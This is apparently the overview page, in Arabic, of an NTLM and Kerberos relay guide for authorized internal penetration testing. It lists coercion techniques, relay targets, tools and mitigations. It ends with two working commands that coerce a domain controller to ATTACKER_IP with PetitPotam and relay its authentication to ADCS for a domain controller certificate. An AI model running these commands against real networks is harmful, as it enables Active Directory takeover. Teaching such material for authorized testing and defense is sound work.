الكتاب المقدس للترحيل — دليل اختبار الاختراق الداخلي للترحيل

مرجع شامل لهجمات الترحيل NTLM أثناء اختبارات الاختراق الداخلية المصرح بها. يغطي أساسيات المصادقة، تقنيات الإكراه، أهداف الترحيل لكل بروتوكول، الأدوات، التسلسل المتقدم، والتخفيفات الدفاعية.

المتطلبات الأساسية

• مضيف هجوم لينكس (Kali، Parrot، أو ما شابه)
• Python 3.10+ مع تثبيت Impacket
• وصول شبكي إلى البيئة المستهدفة (مهمة مصرح بها)
• فهم أساسي لـ Active Directory وشبكات Windows

جدول المحتويات

1. الأساسيات

• نظرية مصادقة NTLM والترحيل — كيف يعمل NTLM، لماذا الترحيل ممكن، NTLMv1 مقابل v2، التوقيع، EPA
• نظرية مصادقة Kerberos والترحيل — تبادل AS/TGS/AP، توحيد SPN، لماذا Kerberos لا يزال قابلًا للترحيل
• تحديد فرص الترحيل — التعداد، إيجاد المضيفين بدون توقيع، رسم خريطة سطح الهجوم

2. تقنيات الإكراه

• نظرة عامة على الإكراه — إجبار الأجهزة على المصادقة على المستمع الخاص بك
• PetitPotam (MS-EFSRPC)
• PrinterBug / SpoolSample (MS-RPRN)
• DFSCoerce (MS-DFSNM)
• ShadowCoerce (MS-FSRVP)

3. أهداف الترحيل (حسب البروتوكول)

• ترحيل SMB — الترحيل إلى SMB لتنفيذ الأوامر
• ترحيل LDAP / LDAPS — تفويض الوصول، إنشاء حسابات الأجهزة، RBCD
• ترحيل MSSQL — الترحيل إلى SQL Server لتنفيذ الأوامر
• ترحيل HTTP / WebDAV — الترحيل إلى نقاط النهاية الويب، إكراه WebDAV
• هجمات ADCS (ESC1–ESC15) — جميع تقنيات تصعيد ADCS بما في ذلك الترحيل
• ترحيل SMTP / IMAP — الترحيل إلى خدمات Exchange/البريد
• ترحيل RPC / DCOM — الترحيل إلى نقاط نهاية RPC
• ترحيل وكيل SOCKS — الحفاظ على جلسات الترحيل المستمرة عبر SOCKS

4. إعداد الأدوات واستخدامها

• Responder — التسميم والتقاط التجزئات
• ntlmrelayx.py — إطار الترحيل الأساسي
• mitm6 — الاستيلاء على DNS عبر IPv6 للإكراه
• Certipy — تعداد ADCS والترحيل
• Coercer — أداة الإكراه الآلية
• krbrelayx — ترحيل Kerberos وإساءة استخدام التفويض

5. التقنيات المتقدمة

• الترحيل عبر البروتوكولات — الترحيل من بروتوكول إلى آخر
• سلاسل هجوم IPv6 — مجموعات mitm6 + الترحيل
• تسلسل الترحيل والتنقل — سيناريوهات الترحيل متعددة القفزات
• خدعة إكراه WebDAV — إجبار مصادقة HTTP من الأجهزة
• ترحيل Kerberos عبر إساءة استخدام CNAME DNS — Cymulate / CVE-2026-20929، ترحيل TGS Kerberos عبر تسميم CNAME

6. الدفاع والكشف

• التخفيفات — توقيع SMB، توقيع LDAP، EPA، تعطيل NTLM
• الكشف — مصادر السجلات، قواعد Sigma، المؤشرات السلوكية

مرجع سريع: ترحيل NTLM — ما الذي يمكن ترحيله إلى أين؟

ينطبق على ترحيل NTLM التقليدي في البيئات الحديثة المصححة (ما بعد CVE-2019-1040). للحصول على تحليل مفصل عبر البروتوكولات، راجع الترحيل عبر البروتوكولات.

* يجب ألا يتطلب الهدف توقيع SMB † يتضمن NTLM القادم من SMB علامات توقيع في NEGOTIATE، وهو ما يفرضه LDAP و ADCS HTTP — مما يؤدي إلى أن الجلسة المرحلة تحتاج إلى مفتاح توقيع لا يمتلكه المهاجم. لهذا السبب يُفضّل استخدام المصادقة القادمة من WebDAV/HTTP لترحيل LDAP و ADCS.

مرجع سريع: ترحيل Kerberos عبر إساءة استخدام CNAME DNS

بدائية Cymulate / CVE-2026-20929 (يناير 2026) — يقوم المهاجم بتسميم DNS بـ CNAME، ويقوم Windows بتوحيد SPN، ويطلب العميل TGS للهدف الذي اختاره المهاجم، ثم يتم ترحيل AP-REQ. نظرًا لأن العديد من الخدمات تقبل التذاكر بناءً فقط على جزء DNS من SPN، فإن فئة SPN المصدرية أقل أهمية بكثير مما هي عليه في ترحيل NTLM — ما يحدد نجاح الهجوم هو ما إذا كانت الخدمة المستهدفة تفرض عنصر التحكم الخاص بها في مكافحة الترحيل.

جميع الصفوف تفترض أن المهاجم لديه موقف شبكي لتسميم DNS (DHCPv6 عبر mitm6، ARP، DHCPv4 المارقة). للتقنية الكاملة: ترحيل Kerberos عبر إساءة استخدام CNAME DNS.

بداية سريعة

1. التعداد — ابحث عن المضيفين مع تعطيل التوقيع وحدد أهداف الإكراه
2. الموضع — ابدأ مستمع الترحيل الخاص بك (ntlmrelayx) مشيرًا إلى هدفك
3. الإكراه — قم بتشغيل المصادقة من جهاز مصدر إلى المستمع الخاص بك
4. الاستفادة — يقوم الترحيل بالتقاط المصادقة وإعادة توجيهها إلى بروتوكول هدفك

# مثال كلاسيكي: إكراه وحدة التحكم بالمجال، الترحيل إلى ADCS للحصول على شهادة وحدة التحكم بالمجال
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP